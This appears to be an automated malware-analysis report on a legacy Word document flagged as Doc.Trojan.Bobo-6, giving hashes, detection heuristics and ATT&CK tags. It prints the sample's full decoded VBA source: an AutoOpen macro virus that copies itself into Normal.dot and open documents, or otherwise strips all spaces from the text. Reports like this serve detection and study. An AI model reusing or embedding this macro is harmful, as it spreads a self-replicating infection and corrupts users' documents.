Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9330e1d9250ff78a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2000-09-07 11:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 87684afc85a697784dc67293e0872d56 SHA-1: 386624098214713dbece6b6afc7f591f14f22262 SHA-256: 9330e1d9250ff78a313ce2ac60e1ded0ab68a0a2eb160a53a197b6b7b392a91c
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to the Normal.dot template and the active document, indicating a potential persistence mechanism. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Bobo-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bobo-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1757 bytes
SHA-256: 6bbcdef4c21ae3d695d4ed88c928c5fea76dc1ca3fa2c0f6dcaedcec9249085f
Detection
ClamAV: Doc.Trojan.Bobo-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Modulo1"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro creada el 09/04/96 por osvald"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
Options.VirusProtection = True
  If NormalTemplate.VBProject.Protection = False And ActiveDocument.VBProject.Protection = False Then
   t = False
  s = ActiveDocument.Path + "\" + ActiveDocument.Name
  ss = NormalTemplate.Path + "\" + NormalTemplate.Name
  For Each mhac In NormalTemplate.VBProject.VBComponents
    If mhac.Name = "Modulo1" Then t = True
  Next mhac
  If t = False Then
     Application.OrganizerCopy Source:=s, Destination _
     :=ss, Name:="Modulo1", Object:=wdOrganizerObjectProjectItems
     If Err.Number <> 0 Then
       Exit Sub
     End If
     NormalTemplate.Save
     If Err.Number <> 0 Then
       Exit Sub
     End If
  End If
  t = False
      For Each mhac In ActiveDocument.VBProject.VBComponents
         If mhac.Name = "Modulo1" Then t = True
      Next mhac
      If t = False Then
         Application.OrganizerCopy Source:=ss, Destination _
         :=s, Name:="Modulo1", Object:=wdOrganizerObjectProjectItems
         If Err.Number <> 0 Then
      Exit Sub
     End If
     ActiveDocument.Save
     If Err.Number <> 0 Then
       Exit Sub
      End If
   End If
End
Else
  Set miintervalo = ActiveDocument.Content
 miintervalo.Find.Execute FindText:=" ", ReplaceWith:="", replace:=wdReplaceAll
End If
End Sub

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